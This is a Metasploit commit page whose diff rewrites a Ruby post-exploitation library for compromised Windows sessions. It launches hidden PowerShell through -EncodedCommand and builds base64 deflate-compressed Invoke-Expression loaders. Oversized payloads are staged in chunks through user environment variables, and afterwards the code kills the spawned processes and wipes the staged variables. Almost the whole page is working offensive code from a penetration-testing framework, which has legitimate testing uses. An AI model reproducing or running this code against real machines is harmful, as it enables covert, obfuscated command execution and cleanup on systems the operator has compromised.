Skip to content

Commit

Permalink
Powershell post libs and modules
Browse files Browse the repository at this point in the history
This is the core post component broken out from rapid7#2075.
Includes new post library leveraging the rex and msf namespace
changes in lib.
Includes basic modules for script and command execution. These
modules can be used a simple base for complex powershell execution
from post modules and RC scripts.
  • Loading branch information
RageLtMan committed Jul 31, 2013
1 parent 7c46e95 commit 1fa5107
Show file tree
Hide file tree
Showing 3 changed files with 338 additions and 120 deletions.
291 changes: 171 additions & 120 deletions lib/msf/core/post/windows/powershell.rb
Original file line number Diff line number Diff line change
@@ -1,19 +1,24 @@
# -*- coding: binary -*-
require 'zlib'
require 'msf/core/exploit/powershell'
require 'msf/core/post/common'

module Msf
class Post
module Windows

module Powershell
include ::Msf::Exploit::Powershell
include ::Msf::Post::Common


# List of running processes, open channels, and env variables...


# Suffix for environment variables
def initialize(info = {})
super
register_advanced_options(
[
OptInt.new('PSH::timeout', [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
OptBool.new('PSH::log_output', [true, 'Write output to log file', false]),
OptBool.new('PSH::dry_run', [true, 'Write output to log file', false]),
], self.class)
end

#
# Returns true if powershell is installed
Expand All @@ -25,108 +30,51 @@ def have_powershell?
end

#
# Insert substitutions into the powershell script
#
def make_subs(script, subs)
subs.each do |set|
script.gsub!(set[0],set[1])
end
if datastore['VERBOSE']
print_good("Final Script: ")
script.each_line {|l| print_status("\t#{l}")}
end
end

#
# Return an array of substitutions for use in make_subs
#
def process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
return new_subs
end

#
# Read in a powershell script stored in +script+
#
def read_script(script)
script_in = ''
begin
# Open script file for reading
fd = ::File.new(script, 'r')
while (line = fd.gets)
script_in << line
end

# Close open file
fd.close()
rescue Errno::ENAMETOOLONG, Errno::ENOENT
# Treat script as a... script
script_in = script
end
return script_in
end


#
# Return a zlib compressed powershell script
# Get/compare list of current PS processes - nested execution can spawn many children
# doing checks before and after execution allows us to kill more children...
# This is a hack, better solutions are welcome since this could kill user
# spawned powershell windows created between comparisons.
#
def compress_script(script_in, eof = nil)

# Compress using the Deflate algorithm
compressed_stream = ::Zlib::Deflate.deflate(script_in,
::Zlib::BEST_COMPRESSION)

# Base64 encode the compressed file contents
encoded_stream = Rex::Text.encode_base64(compressed_stream)

# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = "$stream = New-Object IO.MemoryStream(,"
psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression += "$stream.ReadByte()|Out-Null;"
psh_expression += "$stream.ReadByte()|Out-Null;"
# Uncompress and invoke the expression (execute)
psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
psh_expression += "$(New-Object IO.Compression.DeflateStream("
psh_expression += "$stream,"
psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"

# If eof is set, add a marker to signify end of script output
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end

# Convert expression to unicode
unicode_expression = Rex::Text.to_unicode(psh_expression)

# Base64 encode the unicode expression
encoded_expression = Rex::Text.encode_base64(unicode_expression)

return encoded_expression
def get_ps_pids(pids = [])
current_pids = session.sys.process.get_processes.keep_if {|p|
p['name'].downcase == 'powershell.exe'
}.map {|p| p['pid']}
# Subtract previously known pids
current_pids = (current_pids - pids).uniq
return current_pids
end

#
# Execute a powershell script and return the results. The script is never written
# to disk.
# Execute a powershell script and return the output, channels, and pids. The script
# is never written to disk.
#
def execute_script(script, time_out = 15)
running_pids, open_channels = [], []
def execute_script(script, greedy_kill = false)
@session_pids ||= []
running_pids = greedy_kill ? get_ps_pids : []
open_channels = []
# Execute using -EncodedCommand
session.response_timeout = time_out
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
session.response_timeout = datastore['PSH::timeout'].to_i
ps_bin = datastore['RUN_WOW64'] ? '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None"
# vprint_good("EXECUTING:\n#{ps_string}")
cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true})

# Subtract prior PIDs from current
if greedy_kill
Rex::ThreadSafe.sleep(3) # Let PS start child procs
running_pids = get_ps_pids(running_pids)
end

# Add to list of running processes
running_pids << cmd_out.pid

# All pids start here, so store them in a class variable
(@session_pids += running_pids).uniq!

# Add to list of open channels
open_channels << cmd_out

return [cmd_out, running_pids, open_channels]
return [cmd_out, running_pids.uniq, open_channels]
end


Expand Down Expand Up @@ -163,8 +111,7 @@ def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))

# Stage the payload
print_good(" - Bytes remaining: #{compressed_script.size - index}")
execute_script(encoded_stager)

cmd_out, running_pids, open_channels = execute_script(encoded_stager, false)
# Increment index
index += count

Expand All @@ -184,58 +131,162 @@ def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
end

#
# Log the results of the powershell script
# Reads output of the command channel and empties the buffer.
# Will optionally log command output to disk.
#
def write_to_log(cmd_out, log_file, eof)
# Open log file for writing
fd = ::File.new(log_file, 'w+')
def get_ps_output(cmd_out, eof, read_wait = 5)
results = ''

if datastore['PSH::log_output']
# Get target's computer name
computer_name = session.sys.config.sysinfo['Computer']

# Create unique log directory
log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name)
::FileUtils.mkdir_p(log_dir)

# Define log filename
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
log_file = ::File.join(log_dir,"#{time_stamp}.txt")

# Read output until eof and write to log
while (line = cmd_out.channel.read())

# Open log file for writing
fd = ::File.new(log_file, 'w+')
end

# Read output until eof or nil return output and write to log
while (1)
line = ::Timeout.timeout(read_wait) {
cmd_out.channel.read
} rescue nil
break if line.nil?
if (line.sub!(/#{eof}/, ''))
fd.write(line)
vprint_good("\t#{line}")
cmd_out.channel.close()
results << line
fd.write(line) if fd
#vprint_good("\t#{line}")
break
end
fd.write(line)
vprint_good("\t#{line}")
results << line
fd.write(line) if fd
#vprint_status("\n#{line}")
end

# Close log file
fd.close()

return
# cmd_out.channel.close()
fd.close() if fd

return results

#
# Incremental read method - NOT USED
#
# read_data = ''
# segment = 2**16
# # Read incrementally smaller blocks after each failure/timeout
# while segment > 0 do
# begin
# read_data << ::Timeout.timeout(read_wait) {
# cmd_out.channel.read(segment)
# }
# rescue
# segment = segment/2
# end
# end
end

#
# Clean up powershell script including process and chunks stored in environment variables
#
def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
def clean_up(
script_file = nil,
eof = '',
running_pids =[],
open_channels = [],
env_suffix = Rex::Text.rand_text_alpha(8),
delete = false
)
# Remove environment variables
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
env_del_command += "Select-String #{env_suffix}|%{"
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
script = compress_script(env_del_command, eof)
cmd_out, running_pids, open_channels = *execute_script(script)
write_to_log(cmd_out, "/dev/null", eof)

# Kill running processes
running_pids.each() do |pid|
session.sys.process.kill(pid)
script = compress_script(env_del_command, eof)
cmd_out, new_running_pids, new_open_channels = execute_script(script)
get_ps_output(cmd_out, eof)

# Kill running processes, should mutex this...
@session_pids = (@session_pids + running_pids + new_running_pids).uniq
(running_pids + new_running_pids).uniq.each do |pid|
begin
if session.sys.process.processes.map {|x|x['pid']}.include?(pid)
session.sys.process.kill(pid)
end
@session_pids.delete(pid)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Failed to kill #{pid} due to #{e}"
end
end


# Close open channels
open_channels.each() do |chan|
chan.channel.close()
(open_channels + new_open_channels).uniq.each do |chan|
chan.channel.close
end

::File.delete(script_file) if (script_file and delete)

return
end

#
# Simple script execution wrapper, performs all steps
# required to execute a string of powershell.
# This method will try to kill all powershell.exe PIDs
# which appeared during its execution, set greedy_kill
# to false if this is not desired.
#
def psh_exec(script, greedy_kill=true, ps_cleanup=true)
# Define vars
eof = Rex::Text.rand_text_alpha(8)
# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
env_suffix = Rex::Text.rand_text_alpha(8)
script = PshScript.new(script) unless script.respond_to?(:compress_code)
# Check format
if script =~ /\s|\.|\;/
script = compress_script(script, eof)
end
if datastore['PSH::dry_run']
return "powershell -EncodedCommand #{script}"
else
# Check 8k cmd buffer limit, stage if needed
if (script.size > 8100)
vprint_error("Compressed size: #{script.size}")
error_msg = "Compressed size may cause command to exceed "
error_msg += "cmd.exe's 8kB character limit."
vprint_error(error_msg)
vprint_good('Launching stager:')
script = stage_to_env(script, env_suffix)
print_good("Payload successfully staged.")
else
print_good("Compressed size: #{script.size}")
end
# Execute the script, get the output, and kill the resulting PIDs
cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
if datastore['PSH::timeout'].to_i < 0
out = 'Started async execution, output collection and cleanup will not be performed'
print_error out
return out
end
ps_output = get_ps_output(cmd_out,eof,datastore['PSH::timeout'])
# Kill off the resulting processes if needed
if ps_cleanup
vprint_good( "Cleaning up #{running_pids.join(', ')}" )
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
end
return ps_output
end
end

end
end
end
Expand Down
Loading

0 comments on commit 1fa5107

Please sign in to comment.